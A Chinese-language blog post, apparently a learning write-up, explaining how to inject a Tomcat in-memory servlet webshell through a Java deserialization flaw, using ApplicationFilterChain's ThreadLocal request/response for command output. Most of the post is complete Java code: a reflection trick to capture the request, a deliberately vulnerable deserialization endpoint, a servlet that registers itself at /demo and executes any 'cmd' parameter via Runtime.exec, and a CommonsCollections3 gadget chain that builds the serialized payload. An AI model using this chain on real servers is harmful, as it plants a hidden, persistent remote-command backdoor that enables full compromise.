前言
也算是和利用有关
之前分析的几个内存马,jsp类型的是可以通过文件上传来注入利用的,但是如果直接注入,那么就得用到反序列化,那么我们就要考虑回显问题了(jsp是内置了request和response的),今天要学习两个方法来解决这个问题
- 使用ThreadLocal Response 回显,原理是从ApplicationFilterChain类中获取到response对象。当然如果漏洞是在ApplicationFilterChain之前的话,这个方法就不能使用了。
- 通过全局Response回显,寻找tomcat在处理servlet、filter之前有没有存储Response变量。
TreadLocal Response回显
什么是TreadLocal
TreadLocal就是线程安全,它是怎么做到安全的呢?举个例子:如果现在不安全的情况下,比如有很多人同时向服务器去请求不同数量的同一个东西,那么第一个人如果要10个,其他人也都会得到10个(因为是并发),拿不到预期想要的东西。
如果要解决这种问题就可以使用TreadLocal,创建一个独立的变量域,这样就不会出现线程间的变量覆盖这种情况。
利用分析
前文提到利用的入口类是从ApplicationFilterChain类,为什么呢?那肯定是我们能从ApplicationFilterChain类中获取到我们想要的request和response,这样才能看到回显。

我们可以看到这里是有两个ThreadLocal对象,是用泛型ServletRequest和ServletResponse来接的,那么我们就可以尝试从这里来获取到tomcat的request和response。
然后我们可以看到在internaldofilter方法中对这两个属性进行了赋值。

但是这里是要满足特定条件,才能set的。
不同的spring版本要满足的条件是不同的
例如:
springboot2中的条件是:

springboot3中的条件是:

所以我们在测试的时候要进行两次请求,第一次是修改掉条件值,使其满足条件,第二次才是设置我们的request和response,这样我们才能够从上述两个属性中获取到我们需要的request和response。
一个简单的实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.test.ncm3.controller; import org.apache.catalina.core.ApplicationFilterChain; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import java.lang.reflect.Field; import java.lang.reflect.Modifier; @Controller public class test1 { @RequestMapping("/test1") @ResponseBody public String test1() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException { //获取三大属性 Field declaredField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); declaredField.setAccessible(true); Field declaredField1 = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); declaredField1.setAccessible(true); Field declaredField2 = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); declaredField2.setAccessible(true); //去final Field declaredField3 = Field.class.getDeclaredField("modifiers"); declaredField3.setAccessible(true); declaredField3.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL); declaredField3.setInt(declaredField1,declaredField1.getModifiers() & ~Modifier.FINAL); declaredField3.setInt(declaredField2,declaredField2.getModifiers() & ~Modifier.FINAL); //改类型 ThreadLocal<ServletRequest> request1 = (ThreadLocal<ServletRequest>) declaredField.get(null); ThreadLocal<ServletResponse> reponse1 = (ThreadLocal<ServletResponse>) declaredField1.get(null); Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Boolean b = (Boolean) declaredField2.get(aClass); //修改WRAP_SAME_OBJECT,并修改lastServicedRequest和lastServicedResponse防止为null if(b!=true||request1==null||reponse1==null) { declaredField2.set(null,true); declaredField.set(null,new ThreadLocal<>()); declaredField1.set(null,new ThreadLocal<>()); } else { ServletRequest servletRequest = request1.get(); ServletContext servletContext = servletRequest.getServletContext(); System.out.println(servletRequest); System.out.println(servletContext); } return "OK"; } }
|

结合反序列化进行注入
反序列化点是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.test.ncm3.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64; @Controller public class hello { @RequestMapping("/hello") public void hello(HttpServletRequest request) throws IOException, ClassNotFoundException { byte[] names = Base64.getDecoder().decode(request.getParameter("name")); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(names); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); System.out.println(objectInputStream.readObject()); } }
|
准备好cc链需要的依赖
然后开始写我们的exp(sevlet内存马)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationFilterChain; import org.apache.catalina.core.StandardContext; import javax.servlet.*; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Modifier; public class exp extends AbstractTranslet implements Servlet{ @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<? extends RequestFacade> aClass = servletRequest1.getClass(); try { Field declaredField = aClass.getDeclaredField("request"); declaredField.setAccessible(true); Request request = (Request) declaredField.get(servletRequest1); Response response = request.getResponse(); if(request.getParameter("cmd")!=null){ InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len; byte[] bytes = new byte[1024]; while ((len = inputStream.read(bytes)) != -1) { response.getOutputStream().write(bytes, 0, len); } } } catch (Exception e) { e.printStackTrace(); } } @Override public String getServletInfo() { return ""; } @Override public void destroy() { } public exp(){ try{ Field declaredField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); declaredField.setAccessible(true); Field declaredField1 = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); declaredField1.setAccessible(true); Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Field declaredField2 = aClass.getDeclaredField("WRAP_SAME_OBJECT"); declaredField2.setAccessible(true); Field declaredField3 = Field.class.getDeclaredField("modifiers"); declaredField3.setAccessible(true); declaredField3.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL); declaredField3.setInt(declaredField1,declaredField1.getModifiers() & ~Modifier.FINAL); declaredField3.setInt(declaredField2,declaredField2.getModifiers() & ~Modifier.FINAL); ThreadLocal<ServletRequest> servletRequestThreadLocal = (ThreadLocal<ServletRequest>) declaredField.get(null); ThreadLocal<ServletResponse> servletResponseThreadLocal = (ThreadLocal<ServletResponse>) declaredField1.get(null); boolean b = (boolean) declaredField2.get(null); if(b!=true||servletRequestThreadLocal==null||servletResponseThreadLocal==null){ declaredField2.set(null,true); declaredField.set(null,new ThreadLocal<>()); declaredField1.set(null,new ThreadLocal<>()); } else{ ServletRequest servletRequest = servletRequestThreadLocal.get(); RequestFacade servletRequest1 = (RequestFacade) servletRequest; Class<? extends RequestFacade> aClass1 = servletRequest1.getClass(); Field declaredField4 = aClass1.getDeclaredField("request"); declaredField4.setAccessible(true); Request request = (Request) declaredField4.get(servletRequest1); Response response = request.getResponse(); StandardContext context = (StandardContext) request.getContext(); String simpleName = this.getClass().getSimpleName(); Wrapper wrapper = context.createWrapper(); wrapper.setName(simpleName); wrapper.setLoadOnStartup(1); wrapper.setServlet(this); wrapper.setServletClass(this.getClass().getName()); context.addChild(wrapper); context.addServletMappingDecoded("/demo",simpleName); } }catch (Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
第一次我是直接按照之前的马写的,因为是单独new的一个servlet,所以会独立生成一个class文件,在反序列化的时候,因为用的cc3读字节流就读不到这个class文件,所以行不通,后来是用servlet接口,这样使用this就可以了,也不会出现上述情况。
cc3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class cc3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "cc3"); Field _bytecodes = c.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true); byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\ncm\\ncm3\\target\\classes\\exp.class")); byte[][] _b = {b}; _bytecodes.set(templates, _b); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); Transformer[] T = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer transform = new ChainedTransformer(T); HashMap<Object,Object> m = new HashMap(); Map<Object,Object> m2 = LazyMap.decorate(m,transform); Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2); Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o2 = constructor.newInstance(Override.class, o1); serialize(o2);
System.out.println(base64Encode("ser.bin")); } public static String base64Encode(String s) throws IOException { if (s == null) return null; byte[] bytes = Files.readAllBytes(Paths.get(s)); return Base64.getEncoder().encodeToString(bytes); } public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(object); }
}
|
最后结果

成功写入
参考
Tomcat内存马回显 - F12~ - 博客园
Tomcat型内存马回显以及反序列化写入 | stoocea’s blog